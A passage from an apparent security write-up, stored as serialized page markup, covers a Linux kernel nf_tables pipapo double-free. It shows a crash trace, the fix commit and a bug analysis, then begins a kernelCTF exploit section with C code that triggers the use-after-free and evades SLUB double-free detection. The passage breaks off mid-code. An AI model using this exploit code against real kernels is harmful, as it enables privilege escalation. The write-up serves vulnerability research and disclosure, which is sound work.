#155\n",{"type":26,"tag":475,"props":53574,"children":53575},{"class":477,"line":610},[53576],{"type":26,"tag":475,"props":53577,"children":53578},{},[53579],{"type":32,"value":2219},{"type":26,"tag":475,"props":53581,"children":53582},{"class":477,"line":650},[53583],{"type":26,"tag":475,"props":53584,"children":53585},{},[53586],{"type":32,"value":53587},"[16302.231887] RIP: 0010:nf_tables_chain_destroy+0x26/0x127 [nf_tables]\n",{"type":26,"tag":475,"props":53589,"children":53590},{"class":477,"line":679},[53591],{"type":26,"tag":475,"props":53592,"children":53593},{},[53594],{"type":32,"value":53595},"[16302.231899] Code: f3 fe ff ff 41 55 41 54 55 53 48 8b 6f 10 48 89 fb 48 c7 c7 82 96 d9 a0 8b 55 50 48 8b 75 58 e8 de f5 92 e0 83 7d 50 00 74 09 \u003C0f> 0b 5b 5d 41 5c 41 5d c3 4c 8b 65 00 48 8b 7d 08 49 39 fc 74 05\n",{"type":26,"tag":475,"props":53597,"children":53598},{"class":477,"line":735},[53599],{"type":26,"tag":475,"props":53600,"children":53601},{},[53602],{"type":32,"value":2219},{"type":26,"tag":475,"props":53604,"children":53605},{"class":477,"line":744},[53606],{"type":26,"tag":475,"props":53607,"children":53608},{},[53609],{"type":32,"value":53610},"[16302.231917] Call Trace:\n",{"type":26,"tag":475,"props":53612,"children":53613},{"class":477,"line":753},[53614],{"type":26,"tag":475,"props":53615,"children":53616},{},[53617],{"type":32,"value":53618},"[16302.231919] \u003CTASK>\n",{"type":26,"tag":475,"props":53620,"children":53621},{"class":477,"line":761},[53622],{"type":26,"tag":475,"props":53623,"children":53624},{},[53625],{"type":32,"value":53626},"[16302.231921] __nf_tables_abort.cold+0x23/0x28 [nf_tables]\n",{"type":26,"tag":475,"props":53628,"children":53629},{"class":477,"line":770},[53630],{"type":26,"tag":475,"props":53631,"children":53632},{},[53633],{"type":32,"value":53634},"[16302.231934] nf_tables_abort+0x30/0x50 [nf_tables]\n",{"type":26,"tag":475,"props":53636,"children":53637},{"class":477,"line":794},[53638],{"type":26,"tag":475,"props":53639,"children":53640},{},[53641],{"type":32,"value":53642},"[16302.231946] nfnetlink_rcv_batch+0x41a/0x840 [nfnetlink]\n",{"type":26,"tag":475,"props":53644,"children":53645},{"class":477,"line":831},[53646],{"type":26,"tag":475,"props":53647,"children":53648},{},[53649],{"type":32,"value":53650},"[16302.231952] ? __nla_validate_parse+0x48/0x190\n",{"type":26,"tag":475,"props":53652,"children":53653},{"class":477,"line":845},[53654],{"type":26,"tag":475,"props":53655,"children":53656},{},[53657],{"type":32,"value":53658},"[16302.231959] nfnetlink_rcv+0x110/0x129 [nfnetlink]\n",{"type":26,"tag":475,"props":53660,"children":53661},{"class":477,"line":854},[53662],{"type":26,"tag":475,"props":53663,"children":53664},{},[53665],{"type":32,"value":53666},"[16302.231963] netlink_unicast+0x211/0x340\n",{"type":26,"tag":475,"props":53668,"children":53669},{"class":477,"line":862},[53670],{"type":26,"tag":475,"props":53671,"children":53672},{},[53673],{"type":32,"value":53674},"[16302.231969] netlink_sendmsg+0x21e/0x460\n",{"type":26,"tag":475,"props":53676,"children":53677},{"class":477,"line":885},[53678],{"type":26,"tag":475,"props":53679,"children":53680},{"emptyLinePlaceholder":18},[53681],{"type":32,"value":545},{"type":26,"tag":475,"props":53683,"children":53684},{"class":477,"line":913},[53685],{"type":26,"tag":475,"props":53686,"children":53687},{},[53688],{"type":32,"value":53689},"Add nft_set_pipapo_match_destroy() helper function to release the\n",{"type":26,"tag":475,"props":53691,"children":53692},{"class":477,"line":926},[53693],{"type":26,"tag":475,"props":53694,"children":53695},{},[53696],{"type":32,"value":53697},"elements in the lookup tables.\n",{"type":26,"tag":475,"props":53699,"children":53700},{"class":477,"line":948},[53701],{"type":26,"tag":475,"props":53702,"children":53703},{"emptyLinePlaceholder":18},[53704],{"type":32,"value":545},{"type":26,"tag":475,"props":53706,"children":53707},{"class":477,"line":966},[53708],{"type":26,"tag":475,"props":53709,"children":53710},{},[53711],{"type":32,"value":53712},"Stefano Brivio says: \"We additionally look for elements pointers in the\n",{"type":26,"tag":475,"props":53714,"children":53715},{"class":477,"line":979},[53716],{"type":26,"tag":475,"props":53717,"children":53718},{},[53719],{"type":32,"value":53720},"cloned matching data if priv->dirty is set, because that means that\n",{"type":26,"tag":475,"props":53722,"children":53723},{"class":477,"line":1006},[53724],{"type":26,"tag":475,"props":53725,"children":53726},{},[53727],{"type":32,"value":53728},"cloned data might point to additional elements we did not commit to the\n",{"type":26,"tag":475,"props":53730,"children":53731},{"class":477,"line":1046},[53732],{"type":26,"tag":475,"props":53733,"children":53734},{},[53735],{"type":32,"value":53736},"working copy yet (such as the abort path case, but perhaps not limited\n",{"type":26,"tag":475,"props":53738,"children":53739},{"class":477,"line":1068},[53740],{"type":26,"tag":475,"props":53741,"children":53742},{},[53743],{"type":32,"value":53744},"to it).\"\n",{"type":26,"tag":475,"props":53746,"children":53747},{"class":477,"line":1077},[53748],{"type":26,"tag":475,"props":53749,"children":53750},{"emptyLinePlaceholder":18},[53751],{"type":32,"value":545},{"type":26,"tag":475,"props":53753,"children":53754},{"class":477,"line":1090},[53755],{"type":26,"tag":475,"props":53756,"children":53757},{},[53758],{"type":32,"value":53759},"Fixes: 3c4287f62044 (\"nf_tables: Add set type for arbitrary concatenation of ranges\")\n",{"type":26,"tag":475,"props":53761,"children":53762},{"class":477,"line":1119},[53763],{"type":26,"tag":475,"props":53764,"children":53765},{},[53766],{"type":32,"value":53767},"Reviewed-by: Stefano Brivio \u003Csbrivio@redhat.com>\n",{"type":26,"tag":475,"props":53769,"children":53770},{"class":477,"line":1132},[53771],{"type":26,"tag":475,"props":53772,"children":53773},{},[53774],{"type":32,"value":53775},"Signed-off-by: Pablo Neira Ayuso \u003Cpablo@netfilter.org>\n",{"type":26,"tag":35,"props":53777,"children":53778},{},[53779,53781,53786,53788,53793,53795,53800,53802,53807],{"type":32,"value":53780},"As we previously discussed, committing changes to a pipapo ",{"type":26,"tag":53,"props":53782,"children":53784},{"className":53783},[],[53785],{"type":32,"value":50711},{"type":32,"value":53787}," is implemented by creating a clone of the match object, to which changes are made during the control plane. Later, if we enter the commit path, the changes are committed in the ",{"type":26,"tag":53,"props":53789,"children":53791},{"className":53790},[],[53792],{"type":32,"value":52036},{"type":32,"value":53794}," method by simply replacing the ",{"type":26,"tag":53,"props":53796,"children":53798},{"className":53797},[],[53799],{"type":32,"value":50711},{"type":32,"value":53801},"s match object with its updated clone. So checking the ",{"type":26,"tag":53,"props":53803,"children":53805},{"className":53804},[],[53806],{"type":32,"value":50665},{"type":32,"value":53808}," flag and then calling free again ensures we also free uncommitted changes.",{"type":26,"tag":35,"props":53810,"children":53811},{},[53812,53814,53819],{"type":32,"value":53813},"This doesn't make sense in the commit path but only in the abort path. Evidently, when aborting the transaction that creates the ",{"type":26,"tag":53,"props":53815,"children":53817},{"className":53816},[],[53818],{"type":32,"value":50711},{"type":32,"value":53820},", there will be no committed changes, and there will only be the elements inside the clone, which will end up never being committed. So, to make sure we free these uncommitted elements, it's crucial to free what's in the clone.",{"type":26,"tag":35,"props":53822,"children":53823},{},[53824,53826,53832,53834,53839,53841,53846],{"type":32,"value":53825},"When this code was introduced, it was only reachable from the abort path because it was the only path where ",{"type":26,"tag":53,"props":53827,"children":53829},{"className":53828},[],[53830],{"type":32,"value":53831},"set->ops->destroy()",{"type":32,"value":53833}," could be called without clearing the ",{"type":26,"tag":53,"props":53835,"children":53837},{"className":53836},[],[53838],{"type":32,"value":50665},{"type":32,"value":53840}," flag, which was fine considering you didn't have duplicated views of the ",{"type":26,"tag":53,"props":53842,"children":53844},{"className":53843},[],[53845],{"type":32,"value":50703},{"type":32,"value":53847},"s, so they would all be in the clone set.",{"type":26,"tag":35,"props":53849,"children":53850},{},[53851,53853,53858],{"type":32,"value":53852},"But when the ",{"type":26,"tag":53,"props":53854,"children":53856},{"className":53855},[],[53857],{"type":32,"value":53420},{"type":32,"value":53859}," flag was introduced, some assumptions about the commit path were changed. It created a new way of reaching this code while having already committed changes in the set. This means any already committed changes will have a view in the \"normal\" match object and one in the clone.",{"type":26,"tag":35,"props":53861,"children":53862},{},[53863],{"type":32,"value":53864},"The vulnerability was fixed by only deleting elements from the clone because the clone should have all views of committed and uncommitted changes, effectively eliminating the double-free vulnerability.",{"type":26,"tag":27,"props":53866,"children":53868},{"id":53867},"kernelctf-exploit",[53869],{"type":32,"value":53870},"KernelCTF exploit",{"type":26,"tag":35,"props":53872,"children":53873},{},[53874,53876,53882,53884,53891],{"type":32,"value":53875},"Now that we know the full story of the bug, let's look into how I exploited it in the KernelCTF LTS instance before getting into the universal exploit. A great deal of the exploit is based on the ",{"type":26,"tag":53,"props":53877,"children":53879},{"className":53878},[],[53880],{"type":32,"value":53881},"nft_object + udata",{"type":32,"value":53883}," technique shared by lonial con in a ",{"type":26,"tag":116,"props":53885,"children":53888},{"href":53886,"rel":53887},"https://github.com/google/security-research/blob/master/pocs/linux/kernelctf/CVE-2023-4004_lts_cos_mitigation/docs/exploit.md",[120],[53889],{"type":32,"value":53890},"previous kernelCTF exploit",{"type":32,"value":353},{"type":26,"tag":41,"props":53893,"children":53895},{"id":53894},"trigger-uafavoid-double-free-detection",[53896],{"type":32,"value":53897},"Trigger UAF/avoid double-free detection",{"type":26,"tag":35,"props":53899,"children":53900},{},[53901,53903,53909,53911,53917],{"type":32,"value":53902},"The SLUB allocator has a naive double-free detection mechanism to spot straightforward sequences, such as the same object being added to the free-list twice in a row without any other objects being added in between.\nAs we have seen, ",{"type":26,"tag":53,"props":53904,"children":53906},{"className":53905},[],[53907],{"type":32,"value":53908},"nft_set_pipapo_match_destroy",{"type":32,"value":53910}," iterates over the ",{"type":26,"tag":53,"props":53912,"children":53914},{"className":53913},[],[53915],{"type":32,"value":53916},"setelems",{"type":32,"value":53918}," in the set and frees each of them, so it should be relatively simple to avoid detection by having more than one element in the set, in which case the following will happen:",{"type":26,"tag":181,"props":53920,"children":53921},{},[53922,53927,53932,53937],{"type":26,"tag":86,"props":53923,"children":53924},{},[53925],{"type":32,"value":53926},"Element A gets freed",{"type":26,"tag":86,"props":53928,"children":53929},{},[53930],{"type":32,"value":53931},"Element B gets free",{"type":26,"tag":86,"props":53933,"children":53934},{},[53935],{"type":32,"value":53936},"Element A gets freed again (double-free)",{"type":26,"tag":86,"props":53938,"children":53939},{},[53940],{"type":32,"value":53941},"Element B gets freed again (double-free)",{"type":26,"tag":465,"props":53943,"children":53945},{"className":28812,"code":53944,"language":28814,"meta":7,"style":7},"[...]\nstatic void trigger_uaf(struct mnl_socket *nl, size_t size, int *msgqids)\n{\n[...]\n // TRANSACTION 2\n[...]\n\n // create pipapo set\n uint8_t desc[2] = {16, 16};\n set = create_set(\n batch, seq++, exploit_table_name, \"pwn_set\", 0x1337,\n NFT_SET_INTERVAL | NFT_SET_OBJECT | NFT_SET_CONCAT, KEY_LEN, 2, &desc, NULL, 0, NFT_OBJECT_CT_EXPECT);\n\n // commit 2 elems to set (elems A and B that will be double-freed)\n for (int i = 0; i \u003C 2; i++)\n {\n elem[i] = nftnl_set_elem_alloc();\n memset(key, 0x41 + i, KEY_LEN);\n nftnl_set_elem_set(elem[i], NFTNL_SET_ELEM_OBJREF, \"pwnobj\", 7);\n nftnl_set_elem_set(elem[i], NFTNL_SET_ELEM_KEY, &key, KEY_LEN);\n nftnl_set_elem_set(elem[i], NFTNL_SET_ELEM_USERDATA, &udata_buf, size);\n nftnl_set_elem_add(set, elem[i]);\n }\n[...]\n\n // TRANSACTION 3\n[...]\n set = nftnl_set_alloc();\n nftnl_set_set_u32(set, NFTNL_SET_FAMILY, family);\n nftnl_set_set_str(set, NFTNL_SET_TABLE, exploit_table_name);\n nftnl_set_set_str(set, NFTNL_SET_NAME, \"pwn_set\");\n\n // make priv->dirty true\n memset(key, 0xff, KEY_LEN);\n elem[3] = nftnl_set_elem_alloc();\n nftnl_set_elem_set(elem[3], NFTNL_SET_ELEM_OBJREF, \"pwnobj\", 7);\n nftnl_set_elem_set(elem[3], NFTNL_SET_ELEM_KEY, &key, KEY_LEN);\n nftnl_set_elem_add(set, elem[3]);\n[...]\n\n // double-free commited elems\n[...]\n nftnl_set_free(set);\n}\n[...]\n",[53946],{"type":26,"tag":53,"props":53947,"children":53948},{"__ignoreMap":7},[53949,53956,54017,54024,54031,54039,54046,54053,54061,54085,54106,54140,54201,54208,54216,54268,54275,54301,54328,54367,54396,54425,54447,54454,54461,54468,54476,54483,54491,54504,54517,54537,54544,54552,54574,54606,54651,54687,54715,54722,54729,54737,54744,54760,54767],{"type":26,"tag":475,"props":53950,"children":53951},{"class":477,"line":478},[53952],{"type":26,"tag":475,"props":53953,"children":53954},{"style":499},[53955],{"type":32,"value":2219},{"type":26,"tag":475,"props":53957,"children":53958},{"class":477,"line":516},[53959,53964,53968,53973,53977,53982,53986,53991,53996,54000,54004,54008,54013],{"type":26,"tag":475,"props":53960,"children":53961},{"style":499},[53962],{"type":32,"value":53963},"static void trigger_uaf(",{"type":26,"tag":475,"props":53965,"children":53966},{"style":482},[53967],{"type":32,"value":9111},{"type":26,"tag":475,"props":53969,"children":53970},{"style":505},[53971],{"type":32,"value":53972}," mnl_socket",{"type":26,"tag":475,"props":53974,"children":53975},{"style":482},[53976],{"type":32,"value":9525},{"type":26,"tag":475,"props":53978,"children":53979},{"style":2375},[53980],{"type":32,"value":53981},"nl",{"type":26,"tag":475,"props":53983,"children":53984},{"style":499},[53985],{"type":32,"value":637},{"type":26,"tag":475,"props":53987,"children":53988},{"style":482},[53989],{"type":32,"value":53990},"size_t",{"type":26,"tag":475,"props":53992,"children":53993},{"style":2375},[53994],{"type":32,"value":53995}," size",{"type":26,"tag":475,"props":53997,"children":53998},{"style":499},[53999],{"type":32,"value":637},{"type":26,"tag":475,"props":54001,"children":54002},{"style":482},[54003],{"type":32,"value":18755},{"type":26,"tag":475,"props":54005,"children":54006},{"style":482},[54007],{"type":32,"value":9525},{"type":26,"tag":475,"props":54009,"children":54010},{"style":2375},[54011],{"type":32,"value":54012},"msgqids",{"type":26,"tag":475,"props":54014,"children":54015},{"style":499},[54016],{"type":32,"value":647},{"type":26,"tag":475,"props":54018,"children":54019},{"class":477,"line":539},[54020],{"type":26,"tag":475,"props":54021,"children":54022},{"style":499},[54023],{"type":32,"value":10589},{"type":26,"tag":475,"props":54025,"children":54026},{"class":477,"line":548},[54027],{"type":26,"tag":475,"props":54028,"children":54029},{"style":499},[54030],{"type":32,"value":2219},{"type":26,"tag":475,"props":54032,"children":54033},{"class":477,"line":558},[54034],{"type":26,"tag":475,"props":54035,"children":54036},{"style":499},[54037],{"type":32,"value":54038}," // TRANSACTION 2\n",{"type":26,"tag":475,"props":54040,"children":54041},{"class":477,"line":582},[54042],{"type":26,"tag":475,"props":54043,"children":54044},{"style":499},[54045],{"type":32,"value":2219},{"type":26,"tag":475,"props":54047,"children":54048},{"class":477,"line":596},[54049],{"type":26,"tag":475,"props":54050,"children":54051},{"emptyLinePlaceholder":18},[54052],{"type":32,"value":545},{"type":26,"tag":475,"props":54054,"children":54055},{"class":477,"line":610},[54056],{"type":26,"tag":475,"props":54057,"children":54058},{"style":499},[54059],{"type":32,"value":54060}," // create pipapo set\n",{"type":26,"tag":475,"props":54062,"children":54063},{"class":477,"line":650},[54064,54069,54073,54077,54081],{"type":26,"tag":475,"props":54065,"children":54066},{"style":499},[54067],{"type":32,"value":54068}," uint8_t desc[2] = {",{"type":26,"tag":475,"props":54070,"children":54071},{"style":903},[54072],{"type":32,"value":40535},{"type":26,"tag":475,"props":54074,"children":54075},{"style":499},[54076],{"type":32,"value":637},{"type":26,"tag":475,"props":54078,"children":54079},{"style":903},[54080],{"type":32,"value":40535},{"type":26,"tag":475,"props":54082,"children":54083},{"style":499},[54084],{"type":32,"value":16283},{"type":26,"tag":475,"props":54086,"children":54087},{"class":477,"line":679},[54088,54093,54097,54102],{"type":26,"tag":475,"props":54089,"children":54090},{"style":499},[54091],{"type":32,"value":54092}," set ",{"type":26,"tag":475,"props":54094,"children":54095},{"style":714},[54096],{"type":32,"value":786},{"type":26,"tag":475,"props":54098,"children":54099},{"style":493},[54100],{"type":32,"value":54101}," create_set",{"type":26,"tag":475,"props":54103,"children":54104},{"style":499},[54105],{"type":32,"value":3169},{"type":26,"tag":475,"props":54107,"children":54108},{"class":477,"line":735},[54109,54114,54118,54123,54128,54132,54136],{"type":26,"tag":475,"props":54110,"children":54111},{"style":499},[54112],{"type":32,"value":54113}," batch, seq",{"type":26,"tag":475,"props":54115,"children":54116},{"style":714},[54117],{"type":32,"value":50961},{"type":26,"tag":475,"props":54119,"children":54120},{"style":499},[54121],{"type":32,"value":54122},", exploit_table_name, ",{"type":26,"tag":475,"props":54124,"children":54125},{"style":629},[54126],{"type":32,"value":54127},"\"pwn_set\"",{"type":26,"tag":475,"props":54129,"children":54130},{"style":499},[54131],{"type":32,"value":637},{"type":26,"tag":475,"props":54133,"children":54134},{"style":903},[54135],{"type":32,"value":43192},{"type":26,"tag":475,"props":54137,"children":54138},{"style":499},[54139],{"type":32,"value":2425},{"type":26,"tag":475,"props":54141,"children":54142},{"class":477,"line":744},[54143,54148,54152,54157,54161,54166,54170,54174,54178,54183,54188,54192,54196],{"type":26,"tag":475,"props":54144,"children":54145},{"style":499},[54146],{"type":32,"value":54147}," NFT_SET_INTERVAL ",{"type":26,"tag":475,"props":54149,"children":54150},{"style":714},[54151],{"type":32,"value":10124},{"type":26,"tag":475,"props":54153,"children":54154},{"style":499},[54155],{"type":32,"value":54156}," NFT_SET_OBJECT ",{"type":26,"tag":475,"props":54158,"children":54159},{"style":714},[54160],{"type":32,"value":10124},{"type":26,"tag":475,"props":54162,"children":54163},{"style":499},[54164],{"type":32,"value":54165}," NFT_SET_CONCAT, KEY_LEN, ",{"type":26,"tag":475,"props":54167,"children":54168},{"style":903},[54169],{"type":32,"value":2830},{"type":26,"tag":475,"props":54171,"children":54172},{"style":499},[54173],{"type":32,"value":637},{"type":26,"tag":475,"props":54175,"children":54176},{"style":714},[54177],{"type":32,"value":2816},{"type":26,"tag":475,"props":54179,"children":54180},{"style":499},[54181],{"type":32,"value":54182},"desc, ",{"type":26,"tag":475,"props":54184,"children":54185},{"style":482},[54186],{"type":32,"value":54187},"NULL",{"type":26,"tag":475,"props":54189,"children":54190},{"style":499},[54191],{"type":32,"value":637},{"type":26,"tag":475,"props":54193,"children":54194},{"style":903},[54195],{"type":32,"value":3732},{"type":26,"tag":475,"props":54197,"children":54198},{"style":499},[54199],{"type":32,"value":54200},", NFT_OBJECT_CT_EXPECT);\n",{"type":26,"tag":475,"props":54202,"children":54203},{"class":477,"line":753},[54204],{"type":26,"tag":475,"props":54205,"children":54206},{"emptyLinePlaceholder":18},[54207],{"type":32,"value":545},{"type":26,"tag":475,"props":54209,"children":54210},{"class":477,"line":761},[54211],{"type":26,"tag":475,"props":54212,"children":54213},{"style":552},[54214],{"type":32,"value":54215}," // commit 2 elems to set (elems A and B that will be double-freed)\n",{"type":26,"tag":475,"props":54217,"children":54218},{"class":477,"line":770},[54219,54223,54227,54231,54236,54240,54244,54248,54252,54256,54260,54264],{"type":26,"tag":475,"props":54220,"children":54221},{"style":586},[54222],{"type":32,"value":2737},{"type":26,"tag":475,"props":54224,"children":54225},{"style":499},[54226],{"type":32,"value":2775},{"type":26,"tag":475,"props":54228,"children":54229},{"style":482},[54230],{"type":32,"value":18755},{"type":26,"tag":475,"props":54232,"children":54233},{"style":499},[54234],{"type":32,"value":54235}," i ",{"type":26,"tag":475,"props":54237,"children":54238},{"style":714},[54239],{"type":32,"value":786},{"type":26,"tag":475,"props":54241,"children":54242},{"style":903},[54243],{"type":32,"value":2752},{"type":26,"tag":475,"props":54245,"children":54246},{"style":499},[54247],{"type":32,"value":50925},{"type":26,"tag":475,"props":54249,"children":54250},{"style":714},[54251],{"type":32,"value":5519},{"type":26,"tag":475,"props":54253,"children":54254},{"style":903},[54255],{"type":32,"value":7645},{"type":26,"tag":475,"props":54257,"children":54258},{"style":499},[54259],{"type":32,"value":50956},{"type":26,"tag":475,"props":54261,"children":54262},{"style":714},[54263],{"type":32,"value":50961},{"type":26,"tag":475,"props":54265,"children":54266},{"style":499},[54267],{"type":32,"value":647},{"type":26,"tag":475,"props":54269,"children":54270},{"class":477,"line":794},[54271],{"type":26,"tag":475,"props":54272,"children":54273},{"style":499},[54274],{"type":32,"value":28889},{"type":26,"tag":475,"props":54276,"children":54277},{"class":477,"line":831},[54278,54283,54288,54292,54297],{"type":26,"tag":475,"props":54279,"children":54280},{"style":2375},[54281],{"type":32,"value":54282}," elem",{"type":26,"tag":475,"props":54284,"children":54285},{"style":499},[54286],{"type":32,"value":54287},"[i] ",{"type":26,"tag":475,"props":54289,"children":54290},{"style":714},[54291],{"type":32,"value":786},{"type":26,"tag":475,"props":54293,"children":54294},{"style":493},[54295],{"type":32,"value":54296}," nftnl_set_elem_alloc",{"type":26,"tag":475,"props":54298,"children":54299},{"style":499},[54300],{"type":32,"value":3376},{"type":26,"tag":475,"props":54302,"children":54303},{"class":477,"line":845},[54304,54309,54314,54319,54323],{"type":26,"tag":475,"props":54305,"children":54306},{"style":493},[54307],{"type":32,"value":54308}," memset",{"type":26,"tag":475,"props":54310,"children":54311},{"style":499},[54312],{"type":32,"value":54313},"(key, ",{"type":26,"tag":475,"props":54315,"children":54316},{"style":903},[54317],{"type":32,"value":54318},"0x41",{"type":26,"tag":475,"props":54320,"children":54321},{"style":714},[54322],{"type":32,"value":8616},{"type":26,"tag":475,"props":54324,"children":54325},{"style":499},[54326],{"type":32,"value":54327}," i, KEY_LEN);\n",{"type":26,"tag":475,"props":54329,"children":54330},{"class":477,"line":854},[54331,54336,54340,54344,54349,54354,54358,54363],{"type":26,"tag":475,"props":54332,"children":54333},{"style":493},[54334],{"type":32,"value":54335}," nftnl_set_elem_set",{"type":26,"tag":475,"props":54337,"children":54338},{"style":499},[54339],{"type":32,"value":626},{"type":26,"tag":475,"props":54341,"children":54342},{"style":2375},[54343],{"type":32,"value":51755},{"type":26,"tag":475,"props":54345,"children":54346},{"style":499},[54347],{"type":32,"value":54348},"[i], NFTNL_SET_ELEM_OBJREF, ",{"type":26,"tag":475,"props":54350,"children":54351},{"style":629},[54352],{"type":32,"value":54353},"\"pwnobj\"",{"type":26,"tag":475,"props":54355,"children":54356},{"style":499},[54357],{"type":32,"value":637},{"type":26,"tag":475,"props":54359,"children":54360},{"style":903},[54361],{"type":32,"value":54362},"7",{"type":26,"tag":475,"props":54364,"children":54365},{"style":499},[54366],{"type":32,"value":3533},{"type":26,"tag":475,"props":54368,"children":54369},{"class":477,"line":862},[54370,54374,54378,54382,54387,54391],{"type":26,"tag":475,"props":54371,"children":54372},{"style":493},[54373],{"type":32,"value":54335},{"type":26,"tag":475,"props":54375,"children":54376},{"style":499},[54377],{"type":32,"value":626},{"type":26,"tag":475,"props":54379,"children":54380},{"style":2375},[54381],{"type":32,"value":51755},{"type":26,"tag":475,"props":54383,"children":54384},{"style":499},[54385],{"type":32,"value":54386},"[i], NFTNL_SET_ELEM_KEY, ",{"type":26,"tag":475,"props":54388,"children":54389},{"style":714},[54390],{"type":32,"value":2816},{"type":26,"tag":475,"props":54392,"children":54393},{"style":499},[54394],{"type":32,"value":54395},"key, KEY_LEN);\n",{"type":26,"tag":475,"props":54397,"children":54398},{"class":477,"line":885},[54399,54403,54407,54411,54416,54420],{"type":26,"tag":475,"props":54400,"children":54401},{"style":493},[54402],{"type":32,"value":54335},{"type":26,"tag":475,"props":54404,"children":54405},{"style":499},[54406],{"type":32,"value":626},{"type":26,"tag":475,"props":54408,"children":54409},{"style":2375},[54410],{"type":32,"value":51755},{"type":26,"tag":475,"props":54412,"children":54413},{"style":499},[54414],{"type":32,"value":54415},"[i], NFTNL_SET_ELEM_USERDATA, ",{"type":26,"tag":475,"props":54417,"children":54418},{"style":714},[54419],{"type":32,"value":2816},{"type":26,"tag":475,"props":54421,"children":54422},{"style":499},[54423],{"type":32,"value":54424},"udata_buf, size);\n",{"type":26,"tag":475,"props":54426,"children":54427},{"class":477,"line":913},[54428,54433,54438,54442],{"type":26,"tag":475,"props":54429,"children":54430},{"style":493},[54431],{"type":32,"value":54432}," nftnl_set_elem_add",{"type":26,"tag":475,"props":54434,"children":54435},{"style":499},[54436],{"type":32,"value":54437},"(set, ",{"type":26,"tag":475,"props":54439,"children":54440},{"style":2375},[54441],{"type":32,"value":51755},{"type":26,"tag":475,"props":54443,"children":54444},{"style":499},[54445],{"type":32,"value":54446},"[i]);\n",{"type":26,"tag":475,"props":54448,"children":54449},{"class":477,"line":926},[54450],{"type":26,"tag":475,"props":54451,"children":54452},{"style":499},[54453],{"type":32,"value":851},{"type":26,"tag":475,"props":54455,"children":54456},{"class":477,"line":948},[54457],{"type":26,"tag":475,"props":54458,"children":54459},{"style":499},[54460],{"type":32,"value":2219},{"type":26,"tag":475,"props":54462,"children":54463},{"class":477,"line":966},[54464],{"type":26,"tag":475,"props":54465,"children":54466},{"emptyLinePlaceholder":18},[54467],{"type":32,"value":545},{"type":26,"tag":475,"props":54469,"children":54470},{"class":477,"line":979},[54471],{"type":26,"tag":475,"props":54472,"children":54473},{"style":499},[54474],{"type":32,"value":54475}," // TRANSACTION 3\n",{"type":26,"tag":475,"props":54477,"children":54478},{"class":477,"line":1006},[54479],{"type":26,"tag":475,"props":54480,"children":54481},{"style":499},[54482],{"type":32,"value":2219},{"type":26,"tag":475,"props":54484,"children":54485},{"class":477,"line":1046},[54486],{"type":26,"tag":475,"props":54487,"children":54488},{"style":499},[54489],{"type":32,"value":54490}," set = nftnl_set_alloc();\n",{"type":26,"tag":475,"props":54492,"children":54493},{"class":477,"line":1068},[54494,54499],{"type":26,"tag":475,"props":54495,"children":54496},{"style":493},[54497],{"type":32,"value":54498}," nftnl_set_set_u32",{"type":26,"tag":475,"props":54500,"children":54501},{"style":499},[54502],{"type":32,"value":54503},"(set, NFTNL_SET_FAMILY, family);\n",{"type":26,"tag":475,"props":54505,"children":54506},{"class":477,"line":1077},[54507,54512],{"type":26,"tag":475,"props":54508,"children":54509},{"style":493},[54510],{"type":32,"value":54511}," nftnl_set_set_str",{"type":26,"tag":475,"props":54513,"children":54514},{"style":499},[54515],{"type":32,"value":54516},"(set, NFTNL_SET_TABLE, exploit_table_name);\n",{"type":26,"tag":475,"props":54518,"children":54519},{"class":477,"line":1090},[54520,54524,54529,54533],{"type":26,"tag":475,"props":54521,"children":54522},{"style":493},[54523],{"type":32,"value":54511},{"type":26,"tag":475,"props":54525,"children":54526},{"style":499},[54527],{"type":32,"value":54528},"(set, NFTNL_SET_NAME, ",{"type":26,"tag":475,"props":54530,"children":54531},{"style":629},[54532],{"type":32,"value":54127},{"type":26,"tag":475,"props":54534,"children":54535},{"style":499},[54536],{"type":32,"value":3533},{"type":26,"tag":475,"props":54538,"children":54539},{"class":477,"line":1119},[54540],{"type":26,"tag":475,"props":54541,"children":54542},{"emptyLinePlaceholder":18},[54543],{"type":32,"value":545},{"type":26,"tag":475,"props":54545,"children":54546},{"class":477,"line":1132},[54547],{"type":26,"tag":475,"props":54548,"children":54549},{"style":552},[54550],{"type":32,"value":54551}," // make priv->dirty true\n",{"type":26,"tag":475,"props":54553,"children":54554},{"class":477,"line":1146},[54555,54560,54564,54569],{"type":26,"tag":475,"props":54556,"children":54557},{"style":493},[54558],{"type":32,"value":54559}," memset",{"type":26,"tag":475,"props":54561,"children":54562},{"style":499},[54563],{"type":32,"value":54313},{"type":26,"tag":475,"props":54565,"children":54566},{"style":903},[54567],{"type":32,"value":54568},"0xff",{"type":26,"tag":475,"props":54570,"children":54571},{"style":499},[54572],{"type":32,"value":54573},", KEY_LEN);\n",{"type":26,"tag":475,"props":54575,"children":54576},{"class":477,"line":1155},[54577,54582,54586,54590,54594,54598,54602],{"type":26,"tag":475,"props":54578,"children":54579},{"style":2375},[54580],{"type":32,"value":54581}," elem",{"type":26,"tag":475,"props":54583,"children":54584},{"style":499},[54585],{"type":32,"value":3440},{"type":26,"tag":475,"props":54587,"children":54588},{"style":903},[54589],{"type":32,"value":17002},{"type":26,"tag":475,"props":54591,"children":54592},{"style":499},[54593],{"type":32,"value":1699},{"type":26,"tag":475,"props":54595,"children":54596},{"style":714},[54597],{"type":32,"value":786},{"type":26,"tag":475,"props":54599,"children":54600},{"style":493},[54601],{"type":32,"value":54296},{"type":26,"tag":475,"props":54603,"children":54604},{"style":499},[54605],{"type":32,"value":3376},{"type":26,"tag":475,"props":54607,"children":54608},{"class":477,"line":1163},[54609,54614,54618,54622,54626,54630,54635,54639,54643,54647],{"type":26,"tag":475,"props":54610,"children":54611},{"style":493},[54612],{"type":32,"value":54613}," nftnl_set_elem_set",{"type":26,"tag":475,"props":54615,"children":54616},{"style":499},[54617],{"type":32,"value":626},{"type":26,"tag":475,"props":54619,"children":54620},{"style":2375},[54621],{"type":32,"value":51755},{"type":26,"tag":475,"props":54623,"children":54624},{"style":499},[54625],{"type":32,"value":3440},{"type":26,"tag":475,"props":54627,"children":54628},{"style":903},[54629],{"type":32,"value":17002},{"type":26,"tag":475,"props":54631,"children":54632},{"style":499},[54633],{"type":32,"value":54634},"], NFTNL_SET_ELEM_OBJREF, 